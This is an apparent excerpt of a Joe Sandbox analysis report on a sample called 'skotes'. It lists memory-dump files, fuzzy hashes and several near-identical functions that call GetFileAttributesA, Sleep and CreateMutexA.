Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: eb369f2f6f75d1d4253620cc3d30e6b3844d95813f8d03e1b8e9f412b2844a64
Instruction ID: b725c2ba821c4f86cd2317dc30678a48e8e647d742e1644ab8e28256be5c9ab3
Opcode Fuzzy Hash: eb369f2f6f75d1d4253620cc3d30e6b3844d95813f8d03e1b8e9f412b2844a64
Instruction Fuzzy Hash: BF3148716042008FEF189B7CDC887ADB766EBC6310F20861CE419EB6D1CB36998087A2

Function 0099A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0099A07C
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 81f6bd32396fa4f414bb2ebb4eb2fae35309516b20310ee9a387b80358856970
Instruction ID: 313e49e8f63b53c56202964a3ceb8e8bddd771dac5f558a48800a69a85356b9d
Opcode Fuzzy Hash: 81f6bd32396fa4f414bb2ebb4eb2fae35309516b20310ee9a387b80358856970
Instruction Fuzzy Hash: 4A315971B042409BEF18DB7CDD89BADB776EBC2314F248218E014977D1CB3A998087A7

Function 0099A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0099A1B1
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: fadc3150d6f528bf5275647c716d0f1b075a3639f993ef5b42fe2a4bcdfec4c2
Instruction ID: d5683b06116defce4fa6df616d1ef6c83b1aca320d7bd98defe9b3c695b119dd
Opcode Fuzzy Hash: fadc3150d6f528bf5275647c716d0f1b075a3639f993ef5b42fe2a4bcdfec4c2
Instruction Fuzzy Hash: 1E314871A042419FEF189B7CDCC9B6DB776EBC6310F208218E0149B6D1CB3A998087A2

Function 0099A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0099A2E6
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 34ae85534742661bd4f02321469284e50f84f857c92418531f37600b038af405
Instruction ID: fa41c089a544667432c6e351e6cad82765be1e05760428bab66c0f77c92cc746
Opcode Fuzzy Hash: 34ae85534742661bd4f02321469284e50f84f857c92418531f37600b038af405
Instruction Fuzzy Hash: DF316B71A042409BEF18DF7CDC8976DB776EFC2314F248218E419977D5CB3A998087A2

Function 0099A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0099A41B
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 22ddfc5ff587bc49359a50d1a25ac84eb429c524fb23040f23c070141fa9d59e
Instruction ID: c8f10cd069cafa80c5c3b3c0cf66546d79a4b0687f486464e226d8d87b15d392
Opcode Fuzzy Hash: 22ddfc5ff587bc49359a50d1a25ac84eb429c524fb23040f23c070141fa9d59e
Instruction Fuzzy Hash: 36315B71B401009BEF189B7CDCC9B6DB766EFC2314F248218E0549B6D5DB76998087E7

Function 0099A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0099A550
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
